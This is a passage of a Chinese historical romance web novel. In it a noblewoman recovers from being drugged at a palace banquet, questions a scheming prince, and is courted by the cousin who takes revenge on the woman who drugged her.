他一口咬在了女郎的脖颈上,先是带着些惩罚的力道,继而放松了些地舔舐,王静姝被一激下,迷离的眼眸都清醒了几分。 也是这几分清醒,让她听进了不少病态的轻喃,她眉头皱在一块地分辨,是有人在唤她的名,一会是王静姝,一会是姝儿,一会又成了卿卿…… 伴随着这些轻唤,有威胁也有恋眷。 直到那句略带病态的“你是我的”入耳,又来来回回地在脑中回荡许久,她陡地惊醒,迷离的理智也在归拢。 而此时明明没有服用五石散的沈遐洲,却在方才触及女郎肌肤的一瞬,像是被感染了一般,压着女郎靠在池旁,眼中通红一片,迷乱的吻仍旧在向下。 有点痛还有点刺激。 这是王静姝清醒点的第一想法,她非但没有阻止,还借此想起了不少事,潮湿、阴暗的洞窟中隐秘又大胆的亲吻。 也不知是不是还没退却的五石散影响,遍布锁骨附近的亲吻令她浑身又痒又麻,双臂搭上了郎君的肩,腰腹也脱离他支撑地绷出优雅又贴近的弧度。 是极大胆又放纵的索取姿态,像美艳的海妖。 沈遐洲发红的眼望着她,有些绷不住的兴奋,他就是会一次次地被她吸引,为她疯狂。 他拥着她的身躯都在颤栗,甚至变化更甚,那种灼意,在水中比过往的每一次接触都要更滚烫,王静姝兀地有些害怕,可行动上却又更给予了回应。 这既是被药物驱动的身体自然反应,也无不是她本意,她并不排斥沈遐洲,甚至还带了点试探的捉弄。 她知道的,他就是那样一个偏执还有些矫情的郎君,这事上总是这个缘由不行,那个缘由不行。 他与世上的很多郎君都不同,他正常时,冷淡自持,身上也满是世家才能藴养出来的清隽端然,他病时,又凭添几分虚弱清泠,而对女色上,又常常显得有些纯良。 他不是真的纯良,可她就是爱一次又一次地挑战他的底线,也偏爱瞧他还能做出什么反应来,试探他还能矫情到什么时候。 然,她迟迟没有再等到沈遐洲的动作,反听到了他在耳畔克制又咬牙的幽怨声:“你又诱我。” 随着话落,他慢慢松开了对女郎的支撑,目光也带着些心虚地别开了他方才在女郎锁骨附近留下的许多痕迹。 被看穿意图的王静姝怔忡一瞬,转瞬就笑了,她笑起来眉眼间艳光四射,湿透的发铺散在四周,少数几缕粘在锁骨,搭在胸前,随着她的动静,周身漾开一阵水波,独属于女郎的玲珑曲线显露无疑。 沈遐洲偏离了的目光不受控地被重新引回,他能瞧见女郎身上那层叠布料早已被浸透,洇出了肌肤的色泽,些许散乱的衣襟更是被水流冲开,点点红痕散落在其上,有的是方才留下的,有的是更早一些时候在石洞中留下的。 这些红痕无端地为女郎凭添了许多的魅意,也令他脑中昏昏地多了遐想,他知王静姝一定又是要诱他,而且她已经清醒不少,他若不想出丑,就该尽快一些离开。 可他目光像是被海妖攫住了一般,舍不得挪开。 王静姝凑近亲了亲他下颌,轻“嗯”一声地肯定了他方才的猜测,潋滟的眸光也大胆地仰视着他:“我是在诱你,那你要继续趁人之危吗?” 她说话时并未离太远,带着润意的红唇将简单的一句话说得又慢又磨人。 沈遐洲直盯着她张合的唇,有些出神,他亲过女郎的唇很多次,可没有一次像现在这样,总觉得或许还能做更多。 他被自己的想法惊到,红色的液体当着女郎的面滴落。 “三表哥,你怎又流鼻血了?”王静姝是想试探他底线,可也没想到他这么没用,才一句话的功夫,就连鼻血都出来了,他脑子里想的到底是什么? 触及女郎震惊又嫌弃的眼神,沈遐洲后悔了,他该早点走的。 可也偏是他这样,王静姝更想凑上前去关怀关怀他,伸手要为他擦拭。 沈遐洲一边捂鼻一边阻拦:“你别再过来了。” 他几乎是落荒而逃。 直到空阔的殿中只余了王静姝一人,她才控制不住地趴在池岸边放肆大笑,她就知沈遐洲最后不会碰她,这样的事已不是第一次了,她都懒得再与他说试一试了,她只恶劣地想捉弄他。 笑到最后,她又有些庆幸,庆幸寻来的人是沈遐洲,否则,她无法想象自己最后会如何。 时下风气虽开放,可于她这样家世的未婚女郎而言,还是多有些限制,至少声名得要注意,赏菊宴这般的大宴上,她若真闹出了什么大动静,她名声就彻底臭了,也没脸继续在洛京待下去。 即便没在人前做出什么丑,好点的结果也是像被惠王那样带走,再发生点什么的话,她说不得就再失去了自己婚事的选择权。 想到这些她心口就犯了恶心。 又在冷池中泡了一会,最后一点燥热也淡得寻不到踪迹,她才放心地从水中起了身,湿哒哒的衣裙贴在身上,重得她险些一个踉跄,小幅度地皱了皱鼻,埋怨沈遐洲这个矫情鬼,好歹给她外衣脱掉啊。 “娘子,沈三郎命奴备了衣物来,可能送入。”许是听到了浴池内的动静,门外不知什么时候被唤来的仆婢朝屋中请示。 王静姝的唇角翘了翘,心情又转好了一些。 然这些仆婢都战战兢兢的,一问三不知,不知沈遐洲去了哪,也不知华林园的赏菊宴如何了。 看也知,她们大抵是临时被沈遐洲的卫士抓来的,再看天色,席宴怕也散得差不多了。 她不是吃了亏就忍气吞声的女郎,此刻再倒回去琢磨,她觉得问题定是出在了那酒水上,还有那个不断为她满酒的女婢。 她记得那女婢的长相。 当即提出要重回华林园,却被沈遐洲留下的卫士拦了拦,这卫士她也认识,是嵇牧,他一板一眼地道:“王娘子,郎君命我送娘子回府,旁的事他会处理。” 王静姝迟疑地想了会,沈遐洲处理确实比她自己去寻能施展的空间大,先不说她对华林园的不了解,能使唤的人手也不比沈遐洲的得力,也不方便多有逗留,除非她将酒水中被混入了药物的事捅到明面上。 先不说会引来诸多对她自身的揣测,也合了为她下药之人的意,坐实了她是因误食了什么有催、情效用的药物才从宴席中消失。 尤其是此宴的两位主事者,皆有害她的嫌疑,惠王的人最先发现她不对,有引她去见惠王的举动,而陶然,在她出事前,虽未曾见到,但就数次的寻衅来看,也不排除嫌疑。 所以捅到明面上地去查,一点也不有利于她。 她厌恶地皱了皱眉,妥协地同意先回沈府,也在这思绪越散越多时,想起她与沈遐洲还有许多的账要算,陶然出城去接沈遐洲,他就与陶然一起回的洛京吗?还有接受了陶然的宴? 不然如何解释他能一回洛京就参宴? 她不认为沈遐洲真就会喜爱上旁的女郎,只是又被沈遐洲救一次的巧合背后,缘由总令她如鲠在喉,就像他背后的麻烦,还有那些流言为她带来的影响一般令人不快。 因这些都在告诉她,有人不愿她与沈遐洲在一起,而那人有能力左右。 她再次为沈遐洲这个麻烦的郎君感到为难。 嵇牧直接将马车驶入了天渊阁送她离开,但仍旧要经过了华林园,她掀帘看一眼,果然席宴已经散了。 她回去后该同沈莹问问,宴席上之后可有因她的不见发生了什么,可有人刻意引导什么,至少能帮她更确认一些到底是何人害她,目的又是什么? 犹在想着,马车忽地停顿住了,嵇牧防备地看向拦住马车之人,还有更远一些的此人的主子,他不得不见礼一下:“惠王殿下。” 说罢就要转换一些马匹的方向离开,他自来就跟着沈遐洲,知道郎君与 这位殿下面上还是多有交好,但并不用惧。 “马车中可是王娘子?”惠王虽是问向嵇牧,但目光看向的却是马车微透出些身影的车帘处,语气中也多有几分笃定:“王娘子可能借一步说话?” 都已到了这份上,王静姝不可能还不见,嵇牧也比旁的卫士更了解王娘子,王娘子若是要见惠王,他根本拦不住,他兀地有些头痛,听之任之地等着王娘子要如何。 王静姝确实偏向同惠王见一见,让马车跟着惠王到了更适合说话一些的地方。 女郎下了马车,精神虽还有些发散五石散后的慵倦,但状态却是不差的,一晃眼看去,端是昳丽动人。 惠王目光先是欣赏,继而一点点发觉,她的发是半湿的,衣裳也早已换了宴中见的一身,脖颈出更是隐隐约约露出一点红痕。 于男人而言,发生了什么,已可以猜测,他目色微凝一下,有些怒,恼陶然的自大妄为,惹出了不必要的麻烦。 这些怒恼只微微显露了一瞬,继而就在他面庞上化开了并不知这些事的柔色,“见娘子无事,孤就放心了。” “仆来报见得娘子形色有些不对,像是害了病,想引你来见我,却在途中走散。” 他停顿一下继续道:“席中我也再未曾寻得娘子,心中不安。” 王静姝慢慢掀眼望他,初中药时,她并非理智全无,即便到了此刻,她也并不信惠王的说辞,她带玩味又疑惑地长“哦”一声,目中莹光像是要满溢出一般清润。 惠王心尖发颤地听得女郎道: “我还以为是殿下在我酒水中做了什么,才派人引我去见。” 第54章 第54章剧情:良善十分 王静姝语中的试探直白又无惧,能在人心间掀起惊涛骇浪。 惠王喉间干涩一瞬,显然也没想到女郎会这样不管不顾地直接发问,她没了白日席间的张扬意态,也没了婉婉动人的交好之态,取而代之的是眼底的冷然,还有不信任。 伪装久了的人,总是对自身有些不一样的自信,而且他对王娘子明明极尽了友善,其中不乏真心,他一直不明白王娘子对他的那份隔阂是从何而来。 更早一些时候,分明并不存在。 他心中想过甚多,语中却带上了急切的关怀:“王娘子的意思是酒水中有问题?” “若真如此,孤定当给娘子一个交代。” 他当着王静姝的面就要让人彻查,坦荡得好似王静姝的指责与猜测都是莫须有。 王静姝也忽地在此时乍地绽开一笑,阻拦道:“我与殿下是开玩笑,宴中酒太过甘醇,我贪杯多饮了,只是醉了。” 惠王的姿态不似作假,而她也在方才想得更清楚了一些,惠王会这样寻她说话,确认她是否无事,又摆明态度地可以查,已可以证明他应是真的没有想伤害她。 此次酒水中的药应不是真不是惠王做的,这样激进的方式也不像是惠王能做出的。 也更确定了只有想见她出丑的人才会想出这样下作的手段,而她在洛京除去离开的两个月,其实待的不算久,并未得罪过什么人,数来数去也就一两个而已。 排除了惠王,能做到指使在赏菊宴上做手脚的,就更缩小了范围。 她目中火光幽若跳动,隐有了其他猜测,笑着问:“我醉得寻了处歇息,还不曾见得陶娘子,昨日还见她出了城,她今日可回了?” “陶娘子早回了,只是不巧,王娘子没有碰上。” 眼瞧王静姝对他面色放缓了不少,惠王对此并不隐瞒,并又多言了几句宴中情形,多有透露宴中虽有些许人在寻王静姝,但有沈莹在,多有替她搪塞,而时下,男女混交,宴中偶尔少一两人,不管是幽会还是旁的,一般无人会去深究。 陶然坏的是想让王静姝在无准备下在人前出丑。 惠王所言不多,但足以王静姝打消了不少担忧,她当机立断跑走,远离人群是对的,她人不在,即便有人引导往她身上泼脏水,也落不到实处。 也是这时,惠王又开了口:“王娘子方才的玩笑——” “为何会觉得是我?” 他又换了自称,放低姿态下,多显伤感,但他也并不戳破王静姝所言玩笑的真假,一旦戳破,徒增尴尬,结亲结的是两姓之好,只要王娘子未成婚,许多事情便仍有机会。 便是不当正妻,纳了这样一个美人也是极好的,他视线不着痕迹地从女郎脖颈处的红痕擦过,多感到可惜,可惜晚了一步,不然便可凭此求娶。 王静姝并不觉得自己所言的玩笑真就能让惠王信了,她不过是心中有怒,试探的同时也是在发泄,她心底经此一事,是将惠王打在了不是好人的行列,可相谈不久,她不免被其好脾气,与看破也不戳破的体贴给弄得迷惘了。 她迟疑地思索,可要将听来的沈二郎被下药一事寻本人验证? 这事是沈遐洲同她说的,信,但又难以尽信,毕竟那所为与她一直所见的惠王多有不同,每每再往来时,心底总割裂一般防备拉锯。 所以这也是她自阴平归来后,面对惠王时态度多变的原因之一。 除对待沈遐洲,她不是个会多为人为难的女郎,没纠结太久,她坦然直接问:“殿下可还记得端午祭前的拔选,沈二郎身体不适之事?” “听闻是殿下做的?” 惠王恍然一瞬,继而被人戳中隐秘一般后退,面色也刷的白了,喃声:“原是如此……不怪娘子会如此玩笑……” 他巾帕捂唇连连难受咳喘,好半响才继续道:“此事是我对不起娘子,我一直心中有愧。” 他承认是他做的了,一经证实,王静姝并无多少吃惊,只是有了终于验证的果然如此,沈遐洲那小心眼的郎君没有故意抹黑别人。 只是,她仍旧想不出惠王竟会做出此事的缘由。 但事早已过去,此刻深究已无必要,况且沈二郎都不曾深查,显然又是与那什么要抬举寒门武将有关。 她有些不想听地转身,已耽搁许久,她该回府了。 惠王却又唤住了她:“不管王娘子如何想,我还是想让娘子知晓,有些事旁人可以不愿去做,我却是不行。” “很多时候,我多有些羡慕三郎……” 他多有自伤的话中意思并不详尽,但那旁人是谁,又是谁能逼迫得他做这些? 稍加联想便多能知晓,沈遐洲答应她不帮陶然了,所以就只能惠王去做了吗? 那个旁人是沈遐洲,那个逼迫者是长公主。 她咬唇重新上了马车,这个验证令她心中多有沉重,这是世家、皇权还有寒族几方的争持。 这些大事在细微处影响了许多的人。 每方都有想维护的利益,每方也有想扩大和左右朝堂的野心…… 难以用对错来衡量,也永远难以停歇,除非有一日,有一方能压倒性地平衡两方,而要做到这一点,皇权必然要收回大部分权利,而世家也必然不能还如现在一般超然,寒门也要在朝中占据举足轻重的地位。 王静姝作为一个贪玩的女郎,其实很少去思索这些与她相距甚远的大事,可身在此间,又在阴平切身地感受了许多,沈二郎也时不时地为她灌输着些什么。 她隐约能抓到一些关键,但仍旧不认同,她是世家出身,对世家们所拥有的坞堡私兵佃农等再清楚不过,这些结合起来是很危险的,况许多地方并不太平,强行抬举寒门武将,获得更多兵权只会加强双方的对立,为何不先相安无事,从其他方面徐徐图之呢。 至于是什么其他方面,她还难以想清,总之,就不该是如今这样。 目送王静姝马车远去的惠王眸色清暗,唇角也似笑不笑地弯了弯,王娘子可真是个藏不住事的妙人儿,知晓症结所在,很多问题就迎刃而解了。 身不由己便能洗清许多过错。 况也不曾说谎。 他也确实羡慕三郎,光是出身一项,就已经不知得到多少人究其一生 都得到不到的便利与权利,而他却是全然相反的对照,母亲卑贱,连带他的存在都不被承认,在无人在意的角落可有可无地活着。 然而,突有一日,有人给了他身份与承认,甚至还有机会攀一攀那贵不可及的位置,如何不激动,又如何不以此为目标? 他日复一日地遵从长公主的教导,该听话的时候听话,该蛰伏的时候蛰伏,将自己身体搞成了不会造成威胁的境地,就是为了让长公主能放心地利用他。 连带的对沈三郎这样一个明明算是他的晚辈,也多有小心翼翼地讨好。 他几乎将自己在这对母子跟前放到了最低的姿态,然眼见可得,能令他不用在仰人鼻息的位置,最后落给了一个稚子。 只因那稚子更好掌控,更便于长公主掌权,他没有防备地就要被抛弃,他曾做过努力,利用先帝病重时对长公主的防备,干脆挑动先帝去除长公主,只最后仍旧是长公主更胜一筹。 但也不是一无所获,沈家的天之骄子,沈三郎中毒了,能不能救回来都难说,也得益沈三郎中毒受的难,长公主心力不支下,对宫廷的掌控多有遗漏,能令他有余力将挑唆显露的痕迹一一抹除。 之后,他更加地小心,病也愈发的重,淡出了长公主的防备范围,长公主清洗了许多的人,唯独他还留下了,以彰显她的仁慈。 越发长久的蛰伏,积压心底的不甘与渴求愈盛,他常常会去瞧瞧沈三郎病情如何了,故作不知他是中毒地如往常般的示好、交好。 沈三郎命可真是大啊。 惠王心中感慨地微眯了眯眼,望三郎日后也能继续命大下去,不然有朝一日,他们境遇翻转,无人可赏,他会寂寞。 他突想到般唤卫士问:“三郎如今还在园中?” 卫士恭敬垂首道:“是。” 惠王若有所思地点了点头,并不再往华林园中去。 他该当做不知,陶然自己造的因,该自己承担这个果。 但他也并不担忧陶然会死在沈遐洲手中,陶然还有用,她是扶持寒门武将的开端与钥匙,也代表了一方势力。 长公主虽是将沈三郎架在火上烤,让他也在世家中难为,可有好东西,诸如权柄也第一个想给自家孩子,否则,能联姻的又岂是沈遐洲一人,他也可。 无非是长公主对他仍旧不亲罢了。 吕相倒是私下寻过他谈论了些无关紧要的话题,还有寒门与南地的世家,他要好好想想取舍。 与此同时的华林园某处,陶然再次面对了如恶鬼一般的郎君。 明明已被她打发了的女婢像一坨腐肉一般扔在她面前,她一遍遍地看那女婢受罚,精神反复受到折磨,直到沈三郎出现。 年轻郎君像是刚沐浴过,发尾带着些薄湿,衣裳也洁白如鹤,可浑身却又散发着与容色姿仪完全相反的阴郁戾气。 一瞬,她就害怕得先才的呼喊都咽了回去。 而那受到各种刑罚的女婢也在沈三郎出现时,被带到了一旁去。 她半爬着膝行上前,“三郎,你不能这样对我!” “我是陛下封的神女……”她话未说完,先对上了上首郎君阴鸷十分的眸子,那眸子黑岑岑,冷得毫无感情。 他并不与她多言,掀眼一下就有人将陶然拉开,并有卫士托上一玉盘,盘中盛着各色粉末,赤、白、黄、紫、青等,甫一眼,陶然便辨出玉盘中盛的是什么。 是五石散! 这些药石磨成的粉末,若是配方得当又按量服用,多有清热解毒,加强精力甚至养颜的功效,她入洛京以来,偶然得知,不少贵人在私底下多会服用。 她也尝试过,对其弊端也有了解,不然也不会用此混入王娘子的酒水中,她是料定了难寻踪迹,即便王娘子在宴席中多有无状,也可推托是好此道的郎君无意混入了酒水中,王娘子误饮了,只要她将女婢处理得干净一些,送她早些离开一些,便无处可查。 然,王娘子是中招饮了,可却寻不到了人影,再加之许多人赴宴本就是不是瞧在她的颜面上,对她抛出的引导猜测并不在意,偶有些也想寻王娘子去哪了的,席间还有沈四娘子支应。 除非能寻出王娘子,否则众人也就止步于好奇了。 她只敢派出忠心的女婢去寻人,后来,无法下,担忧过于刻意露出了马脚,便专心于筹集捐赠。 但还不及宴席结束,她就被人带到了此,一遍一遍地看那被她吩咐下药的女婢受不同的刑罚,她也知是东窗事发,呼喊要见能帮她之人。 沈三郎的出现,她心中更是不再自信,这个恶鬼,真的会杀了她的。 沈遐洲慢条斯理地开口:“选一样吧。” 选什么不言而喻,是服用五石散,还是如那受罚的女婢一样。 陶然得救一般,不假思索地望向了那盛满诸多色彩粉末的玉盘。 沈遐洲无声嗤笑一下,卫士将玉盘放置陶然跟前,还为她斟了一杯酒配合服用。 真就这么简单的惩罚? 临到头陶然又不敢相信地望了沈遐洲一眼,继而想,她固然生了害人之心,那人还是沈三郎的家中表妹,可再重要如何比得上她。 沈三郎并不会杀她,五石散也吃不死人,及时行散就好。 她胸腔内又涌出了一股自信,眼尾还含羞地撩了上首的郎君一眼,才饮下掺杂了五石散的酒。 沈遐洲面皮厌恶地微动一下,阴冷道:“继续。” 卫士又为陶然倒酒。 直看陶然饮下了数杯,沈遐洲才起身,毫不留恋地从她身旁过,卫士们也紧跟其后,只有依旧盛满缤纷色彩粉末的玉盘被留了下来。 沈遐洲最后意味不明地笑了笑,他暇眦必报,如何也改不了,怎可能只简单地让陶然服了相同的五石散就作罢? 五石散的主成分无非是紫石英、白石英、赤石脂、钟乳、石硫磺,可搭配的药材却有多样,他给陶然是极易成瘾的配方,她若是能忍过初时几日,那这于她也无害,若是没能忍过,那便是她活该。 他笑意凉薄,但觉自己良善十分。 第55章 第55章“卿卿,你爱我吗?”…… 王静姝回到府中,不等她去寻沈莹,沈莹就已寻来了。 好在她此刻已经又换了一身舒适的入寝衣裙,脖颈处的红痕也经由竹苓提醒遮了起来,免得沈莹好奇心过重,她难以解释。 沈莹入夜了还来瞧她,自然是因担忧她,但宴席后来所发生的事,与惠王所言并无什么不同。 她遂也用同等的说辞搪塞了过去,就当她是吃多了酒,不小心迷失在了某处,直到沈三郎寻到她,带她去了某处小憩,才归来得晚了。 沈莹虽有狐疑,可三哥早前在寻到表姐时,就有卫士来知会了她一声,如此好像也没有什么不合理的地方,也就迷糊地岔开了话题。 离开前,沈莹瞥眼瞧见了插在大口花觚中的糖画,惊喜拿起道:“表姐,这个兔子我喜爱,送我可好?” 一糖画,不值钱的小玩意,沈莹根本没想过会被拒绝,她也不是馋,就是中意了,也就开口讨要了。 王静姝眼皮自她拿起那一刻就跳了跳,下意识阻止道:“这已放了两日了,你若喜欢,改日我去为你买新的。” 沈莹转了转糖画竹签,左看右看也没看出哪坏了,也并不嫌弃放了多久,但表姐都那般说了要给她买新的,那自然是新的好,遂将糖画放了回去。 翌日,王静姝左等右等没有等到沈遐洲来寻她。 她昨日与惠王闲话许久,嵇牧不会不与沈遐洲说,以她对沈遐洲的了解,他夜探香闺问她与惠王说了 什么不是做不出来。 可他没来,她想了一会,就暗唾了一口,沈遐洲比她想的还要矫情。 他要么是在哪暗自生气,要么就是昨日在她面前淌了鼻血还未缓过来,或者两者皆有之。 按理,她是不会纵着沈遐洲的拿乔的,可偏生她想知沈遐洲查出的结果,还想知若真如她猜想的一般是陶然害她,沈遐洲要如何态度处之。 她显然地,是对流言中的赐婚是记恨在心里的。 沈遐洲确实在生气,昨日虽被女郎又是一番戏弄,但他只觉得飘然,处理完陶然之事后,也想寻女郎邀功,可想白日里才落荒而逃,再去免不了被一番嘲笑,就先唤嵇牧来过问了几句。 嵇牧不说还好,一说,他又怒不可遏,嫉妒疯了,王静姝到底多能招桃花,光是一个赏菊宴,她就又惹了许多的郎君爱慕。 如此也罢了,可她不单收惠王送的红绳戴着,离开前还不忘与人相互关怀。 他理智全无,全然没听进去嵇牧转达的两人说的是什么,他愤愤令星泉去库中翻出许多珍奇宝饰。 一佛珠红绳算什么,王静姝是好美饰的女郎,只有更华美的宝饰才与她相得益彰。 他实被刺激得不轻,什么都要与旁的郎君较量一番,等待星泉去翻找之际,他又自怨自艾生出了委屈,头脑也昏昏沉沉。 他怕控制不住自己的情绪,又与王静姝发生争吵,便默然坐了半宿才睡去,白日里也没什么精神。 听得王静姝寻来时,他还在揉额缓着头痛,但眼角眉梢不自觉地浮起了一丝笑意,王静姝果然心中有他。 他轻敲了敲几案,道:“让她进来吧。” 星泉唇角抽了抽,郎君说的好生拿乔,王娘子来了,有哪次是会被拦的,又有哪次需要人允了才入内的? 但星泉也就只敢在心中腹诽地出了房门。 王静姝之前便常来沈遐洲的院中,卫士根本不会拦她,她与星泉半道上就撞上了,星泉口齿伶俐:“王娘子,你来得可巧,我家郎君像是着了凉,今日精神瞧着就不太好。” “你来了,我家郎君或许就听劝愿意请医师来看看了。” 星泉心情很好,他是极爱王娘子来的,明眼人都瞧得出郎君喜爱王娘子,王娘子也比二郎君还能克制得住他家郎君。 王静姝听得微拧了眉。 着凉? 这入了秋的气候虽已凉爽不少,但也没到冷的程度,沈遐洲也就昨日与她一同泡了泡冷池有着凉的机会,他怎这样没用。 “过几日便是社日祭,娘子要邀郎君一起过节吗?”星泉并没有放低音量,是说与房中的郎君听的,他家郎君空有一副好相貌,却阴郁孤冷,不如二郎君会与女郎相处,这方回洛京,他瞧郎君阴晴不定得更甚了,希冀郎君能邀女郎一起过节,他们大房这一院的人也能好生热闹热闹。 不然郎君杵着,他们这些人也不敢热闹太过。 沈遐洲好耳力下,自然听到了星泉对他的编排,他如何又病了,他只是有些精力不济罢了,他果然该早些将星泉发卖了。 他面容低微,目色沉郁地想。 王静姝也在这时推门而入,见郎君果然如星泉所说,精神瞧着不太好,缓缓抬目望来一眼,没有什么力度,像雪落一般轻,偏面容雪静,眉目明丽淡雅,只坐在那,就如雪如月,整个人掩去了阴戾之色,加重了温润光华。 是王静姝喜爱的那种郎君容色。 沈遐洲目中染愁:“你别听星泉胡说,我没有病。”下一句又不确定道:“你要邀我一起过节吗?” 王静姝瞥了他一眼,她就知他矫情,换了一般人难道不该是问“你要与我一起过节吗?”,到了他这儿却是反了过来。 王静姝不吃他这一套,“我是来问你,你昨日是受陶然的邀赴的赏菊宴吗?” 沈遐洲怔了怔,有些开怀地笑了,他还以为王静姝会先问是何人给她酒水中做的手脚,先问他是受了谁的邀,那说明女郎也在意他,为他吃醋。 他支着下巴,含笑拉她坐下,衣裙委在一处地拥女郎,语中全是撩人的笑意:“卿卿,你喜爱我。” 王静姝是赌气来问责和搞清一些事的,沈遐洲却兀地得出这样的结论,她下意识地就反驳:“少往你自己脸上贴金,我只是听到了你要被赐婚的言论,来警告你。” “你数次坏我姻缘,令我难嫁,到了如今,你也休想轻易娶妻。”她说得激动,翻转身子,与沈遐洲面对面,就差揪上郎君的衣襟警告。 沈遐洲不畏女郎的警告,下巴磕上女郎的肩,笑意不止,眷恋温柔地吐字:“好。” 王静姝被他拥得红了腮,过往都是她撩拨沈遐洲,可他这样温温柔柔,说话也含情的模样,实在分外动人,她不惧情欲上的放纵,但温情的撩拨她就难以招架。 她方才的一通威胁在郎君春水一样的柔情中,消散得一点力道也无。 她连推都不能去推他一下。 沈遐洲察觉到了女郎的变化,从耳畔一直吻到女郎的唇角,继而轻轻含入。 他气息惹得女郎颤栗,温柔的侵入,像吃了酒一般地令人沉醉,魂骨都在为彼此的贴近颤动。 这样的吻并没有持续太久,沈遐洲松开女郎,但又额发贴近地问:“卿卿,你爱我吗?” 俊美的年轻目中不含欲,但蕴着浓浓的情,吸魂夺魄一般诱女郎承认着一些从不曾承认的事实。 王静姝被亲得懵然下,险些沉溺在了郎君的轻诱中,可她自来骄傲,好胜心又强,即便在这样的情爱拉锯中也如此,咬唇坚持着些什么地没有开口。 郎君却不急,像是寻到如何爱抚女郎喜好脉络般地又亲了亲她,扣她贝齿,令她松开那僵持的咬唇,却并不深入,浅浅地在唇畔徘徊,在女郎动摇时又陡地撤离,又问:“卿卿,你爱我吗?” 这种全身情绪都被人牵着走的不满足,令王静姝羞恼无比,她甫地揪了郎君的衣襟,反客为主地凶狠亲吻,然后松开推开郎君道:“你还是先记得我方才说的话。” 她不再管郎君如何情状,逃似的提了裙摆起身,离开的背姿也又慌又快。 这是女郎第一次稍落下风,沈遐洲兀自碰着被凶狠亲吻过的唇,想,女郎的提议很好,她与他就该一直纠纠缠缠,他不会娶旁人,同样的,也不会令她有嫁给旁人的机会,他迟早能娶她。 他昨日又惹怒长公主,隐约觉得母亲的状态有些不对,或许该去一趟孟津渡了。 * 王静姝直到远离了沈遐洲的听松居,才放缓了步子,脸颊却仍旧泛红,他觉沈遐洲在亲吻上进步得越来越大了。 她竟有些掌控不了了。 非是一定要在此事上争个输赢,只是沈遐洲是个麻烦极了的郎君,她不想在日渐交往中不断退让。 想到此,她又懊恼上了,每每与沈遐洲独处到最后,本该谈论的事一件都不曾提起,连她猜测的是否是陶然在她酒水中做的手脚都不曾确认。 可要她再倒回去地询问,怕是又会失控地被缠着追问“你爱我吗?”,光是想想,她心潮又是一阵涌动,面庞发烫起来,还起了一身的鸡皮疙瘩。 竹苓见娘子回来,唇瓣嫣红润泽,面庞也泛着不正常的红,实是不知该拿娘子如何是好了,陷入情爱的女郎,狠话说得再多次,也控制不住地被那郎君吸引。 她只愿望娘子能得偿所愿,莫再生波折。 王静姝饮了大杯的茶水,才渐渐将压下了面庞的发烫。 不多时,星泉却又寻来,送了一贝母漆盒并带了话,道她想知道的都在盒中。 王静姝微疑惑地扬了眉,让竹苓收了盒子,打开后入眼是纯金打造的手链,上头有漂亮的刻纹,还镶了鸽血红的宝石,是她喜爱的鲜艳色彩。 怎偏送她手链? 她试戴在腕上,闪亮的金与似血的红生生将她白皙的手腕衬出一段艳色,与她极为相衬。 也倏地想起,她腕上原本还有什么,她收了惠王的礼,本是想之后换下的,后来就不见了。 她“呲”地笑了笑,确实是沈遐洲会做出的事。 放下手腕,盒中还有一洒金染笺,上头所书字迹笔断意连,遒媚劲健,是极具美感的字迹,一眼便会先被其字态吸引。 “卖弄。”王静姝嘟囔了一句,才往下看,上头道,华林园是陶然所为,已为她以其人之道还治其身。 王静姝果然如此地凝了目色,不过同当初求到她跟前的宋娘子比起来,她觉得沈遐洲良善了不少,但她并不要求太多,她肯定了是谁做的,觉得不够的话,她自己去寻陶然麻烦就行了。 她目光停顿在了含蓄静穆的最后一句,“卿卿,你要与我一起过节吗?” 字如其人,光看字便能多想到沈遐洲这人,典雅隽逸的俊美郎君,面皮和字一样好看。 她收了眼,让星泉带回了用糯纸裹着的糖画,就当是她的回答了。 本就是想送他的糖画,此刻也终是送出去了。 * 社日主要有春秋两次,每逢秋社,上至皇宫官府,下至民间百姓都会在此日进行土地神的祭祀活动,除祭祀外娱乐庆祝也极为热闹,集会竞技、各种各样的表演,有些富贵人家还会宴请乡里三老。 沈府中也收到了宫中赐下来的美酒、脯腊、药饮、油面等物,府中仆役们也得到赏钱和休息。 王静姝因与沈遐洲有约在先,拒绝了不少后来者的邀请,沈莹也奇怪为何表姐不与她一起,沈二郎笑眯了眼地带走了沈莹。 马车就停在府门外,是方从宫廷出来沈遐洲,皇帝这日会将祭肉分给百姓和臣子,寓意着共得神明的福祉。 故而他出来得较晚,但于民间而言,此刻正是热闹的时刻。 沈遐洲朝王静姝伸手,手腕稍稍一带力,将女郎牵上了马车。 入坐分开,沈遐洲手中仍像是残留着方才牵触到的柔软,也不知是不是节日氛围的影响,他心中发痒,喜悦在一点一点地融化开来。 这其实不是他们第一次一起过节,但都不一样,过往时候,不是太久远的记忆,就是两人正闹两清,后来阴平那地没有真正过节的氛围。 他一眼不错地瞧着女郎,她掀着帘向外看,流离的灯火光线落在她身上,流光溢彩一般耀目。 街上热闹喜庆,各种游戏表演,目不暇接。 不过王静姝不是没见过,建业往年也都是如此,她看了片刻,便放下了车帘,捕到了郎君落在她身上的视线。 她回望过去,沈遐洲就矜持似的地垂了眼,乌浓眼睫在眼下投落一片稀疏阴影,他又成了端正秀致的俊美郎君。 王静姝瞧着他的这模样,时常会恍惚,沈遐洲的另一面像是她的错觉一般。 可她也偏爱这样的郎君,坐得靠近了一些,“你可要与我下去逛逛?” “好。”沈遐洲唇角含了笑,今日是打定主意都依女郎。 沈遐洲先下了马车,从腰处抱着女郎下了马车。 王静姝愉悦地扬了扬眉,谁人会不喜俊美郎君的温柔体贴呢。 两人行于人群中,她时而被杂耍吸引,拍掌扔下银钱,时而又觉得踩高跷有趣地驻足观看,没多久,又在小摊贩前挑选面具,她瞧着有趣,将一个恶鬼面具往沈遐洲面上比划。 她自己却是挑了一红狐狸的面具往脸上盖。 绯红的红狐狸面具只露出了女郎精致的鼻尖和窄小的下颌,红唇微弯,就如狐妖一般妖冶。 沈遐洲被感染下,买下了这两面具。 王静姝心情极好,也不曾觉得挤踩,然,忽地被人撞一下,落入了个熟悉的怀抱,才发现一直是有人将她与挤挨的人群隔开。 他的视线从未从她身上偏离。 王静姝上仰着脸望了戴着遮盖整脸面具的郎君,一时心动怦然,忽地就很想看看他此刻面具下神情。 伸手上掀他面具,却触及一张肃然的脸,察觉女郎的动作,他不解垂眸。 郎君是温柔体贴了,可也时刻紧绷关注着周遭,关注着她不被人冲撞了,一点也没有自己在享受节日。 光她一人开心有什么好玩的。 “你不喜这样的节日吗?” 